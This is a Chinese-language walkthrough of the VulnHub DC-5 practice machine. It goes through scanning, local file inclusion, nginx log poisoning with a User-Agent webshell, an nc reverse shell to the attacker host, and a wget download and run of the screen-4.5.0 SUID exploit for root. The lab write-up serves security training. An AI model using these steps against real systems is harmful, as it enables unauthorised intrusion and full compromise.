环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-5.zip

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.131

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.131

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.131

扫描结果如下:系统开放了一个 HTTP 服务(80 端口)、两个 RPC 服务(111 端口和 53882)

1
2
3
4
5
6
PORT      STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-title: Welcome
|_http-server-header: nginx/1.6.2
111/tcp open rpcbind 2-4 (RPC #100000)
53882/tcp open status 1 (RPC #100024)

目录扫描

访问网站,随便点点发现一个类似于留言的功能,抓包也没发现有什么特殊的地方

扫一下目录看看有什么文件泄露或者是隐藏路由

发现一个 footer.php,像是那种常见的 php 包含文件,访问发现是一个版权和年份,每次刷新年份还会变化,猜测留言结束后的 thankyou.php 是包含了 footer.php 页面的

参数也是猜的,猜测 file 参数接收的 footer.php 页面,把 footer.php 替换成 /etc/passwd 成功读取

漏洞利用

日志包含

插件识别出中间件是 nginx,尝试包含 nginx 日志文件写马拿 shell

抓包修改包含的文件为 nginx 日志文件 /var/log/nginx/access.log,在 UA 头写马,这样一句话木马就会被记录到日志文件里同时日志文件又被当作 php 解析,这样就可以执行一句话木马了

反弹shell

蚁剑成功连接,尝试反弹 shell,经尝试靶机有 nc,使用 nc 来反弹 shell

1
nc -e /bin/bash 192.168.52.128 2233

连接成功没回显,用 python 起一个终端方便操作

1
python -c 'import pty;pty.spawn("/bin/bash")'

权限提升

拿到的是网站用户权限 www-data,需要提权

还是先看一下 suid 提权,命令查看具有 suid 权限的文件

1
find / -user root -perm -4000 -print 2>/dev/null

发现一个可疑的文件 /bin/screen-4.5.0,搜索发现确实存在提权漏洞

使用 kali 找该版本的 screen 提权脚本

有一个 sh 脚本文件,把它复制到当前目录然后用 python 开一个 http 服务让靶机下载

1
2
3
4
5
6
攻击机开启http服务:
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
python -m http.server 8888
靶机下载:
cd /tmp
wget http://192.168.52.128:8888/41154.sh

靶机下载好后直接赋予执行权限,运行即可成功提权

1
2
chmod 777 41154.sh
./41154.sh